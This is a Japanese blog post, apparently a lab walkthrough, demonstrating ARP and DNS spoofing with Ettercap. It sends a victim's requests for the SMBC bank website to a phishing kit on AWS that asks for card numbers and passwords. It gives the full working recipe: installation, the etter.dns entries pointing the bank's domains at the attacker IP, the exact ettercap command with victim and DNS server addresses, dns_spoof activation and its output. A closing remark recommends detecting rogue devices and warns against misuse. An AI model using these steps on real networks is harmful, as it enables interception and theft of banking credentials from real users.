LoginSignup
3
5

More than 3 years have passed since last update.

EttercapでARPスプーフィング

Last updated at Posted at 2020-05-07

概要

今回は、Ettercapというハッキングツールを利用してAPRスプーフィング + DNSスプーフィングを試しました。
ARPスプーフィングとはARPプロトコルの通信を偽装することにより同一セグメント上の機器になりすます中間者攻撃で、DNSスプーフィングとはDNSクエリに対してリクエストを書き換える中間者攻撃です。
以降では、この手法を用いて被害マシンから正規のSMBCへのアクセスを詐欺サイトに誘導する攻撃を検証しております。

準備

構成

検証のために以下のような構成準備しました。

  • 攻撃前

before.png

  • 攻撃後

after.png

攻撃用マシンの設定

攻撃用マシンとしてDNSサーバや被害マシンと同じセグメント内に設置されているCentoOSの以下バージョンのマシンを利用し、Ettercapをインストールしました。EPELリポジトリを利用するとYUMで簡単にインストールできました。

/etc/redhat-release
CentOS release 6.10 (Final)
$ sudo yum -y install epel-release
$ sudo yum -y install ettercap.x86_64

Ettercapの設定ファイルで正規サイトのドメインと改竄サイトのIPアドレスを紐付けます。

/etc/ettercap/etter.dns
www.smbc.co.jp A 13.115.73.199
smbc.co.jp A 13.115.73.199

改竄サイトの準備

AWSのEC2上に注1で作成したDockerコンテナを準備して、SMBC用のPhishinng ToolKitをApacheのDocumentRootに設置しました。

検証結果

まず被害マシンのWEBブラウザでSMBCのサイトhttp://www.smbc.co.jp/pr/index.php にHTTPアクセスしてみます。HTTPアクセスはHTTPSにリダイレクトされてしましますが、正規のサイトには「/pr/index.php」に有効なコンテンツがおかれていないので以下の様に表示されます。

smbc.co.jp.png

次に攻撃用マシンで以下コマンドを実行します。

# ettercap -TqM arp:remote /192.168.1.132// /192.168.1.36//

起動後に「h」を押下するとHelpが表示されます。

Text only Interface activated...
Hit 'h' for inline help


Inline help:

 [vV]      - change the visualization mode
 [pP]      - activate a plugin
 [fF]      - (de)activate a filter
 [lL]      - print the hosts list
 [oO]      - print the profiles list
 [cC]      - print the connections list
 [sS]      - print interfaces statistics
 [<space>] - stop/cont printing packets
 [qQ]      - quit

使用するプラグインを選択するために「p」を押下すると以下が表示されます。

Available plugins :

[0]         arp_cop  1.1  Report suspicious ARP activity
[0]         autoadd  1.2  Automatically add new victims in the target range
[0]      chk_poison  1.1  Check if the poisoning had success
[0]       dns_spoof  1.1  Sends spoofed dns replies
[0]      dos_attack  1.0  Run a d.o.s. attack against an IP address
[0]           dummy  3.0  A plugin template (for developers)
[0]       find_conn  1.0  Search connections on a switched LAN
[0]   find_ettercap  2.0  Try to find ettercap activity
[0]         find_ip  1.0  Search an unused IP address in the subnet
[0]          finger  1.6  Fingerprint a remote host
[0]   finger_submit  1.0  Submit a fingerprint to ettercap's website
[0]       gre_relay  1.0  Tunnel broker for redirected GRE tunnels
[0]     gw_discover  1.0  Try to find the LAN gateway
[0]         isolate  1.0  Isolate an host from the lan
[0]       link_type  1.0  Check the link type (hub/switch)
[0]      nbns_spoof  1.1  Sends spoof NBNS replies & sends SMB challenges with custom challenge
[0]    pptp_chapms1  1.0  PPTP: Forces chapms-v1 from chapms-v2
[0]      pptp_clear  1.0  PPTP: Tries to force cleartext tunnel
[0]        pptp_pap  1.0  PPTP: Forces PAP authentication
[0]      pptp_reneg  1.0  PPTP: Forces tunnel re-negotiation
[0]      rand_flood  1.0  Flood the LAN with random MAC addresses
[0]  remote_browser  1.2  Sends visited URLs to the browser
[0]       reply_arp  1.0  Simple arp responder
[0]    repoison_arp  1.0  Repoison after broadcast ARP
[0]   scan_poisoner  1.0  Actively search other poisoners
[0]  search_promisc  1.2  Search promisc NICs in the LAN
[0]       smb_clear  1.0  Tries to force SMB cleartext auth
[0]        smb_down  1.0  Tries to force SMB to not use NTLM2 key auth
[0]    smurf_attack  1.0  Run a smurf attack against specified hosts
[0]     stp_mangler  1.0  Become root of a switches spanning tree

今回は、dns_spoofプラグインを利用します。

Plugin name (0 to quit): dns_spoof
Activating dns_spoof plugin...

これで準備完了です。
再度、被害マシンのWEBブラウザで、http://www.smbc.co.jp/pr/index.php にHTTPアクセスすると今度はカード番号やパスワードなどの入力を促す改竄サイトに誘導されます。

phishing_site.png

Ettercapでは以下の用に出力されます。

dns_spoof: [www.smbc.co.jp] spoofed to [13.115.73.199]
dns_spoof: [www.smbc.co.jp] spoofed to [13.115.73.199]
dns_spoof: [www.smbc.co.jp] spoofed to [13.115.73.199]
dns_spoof: [www.smbc.co.jp] spoofed to [13.115.73.199]

参照資料

注1: AWS上でApache Killerを試すが

編集後記

Ettercapを利用すると簡単にARPスプーフィングができてしまいますので、社内ネットワークへの不正な端末の接続を検出することは必須ですね。また、本ツールはくれぐれも悪用のために使用しないでください。

3
5
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
5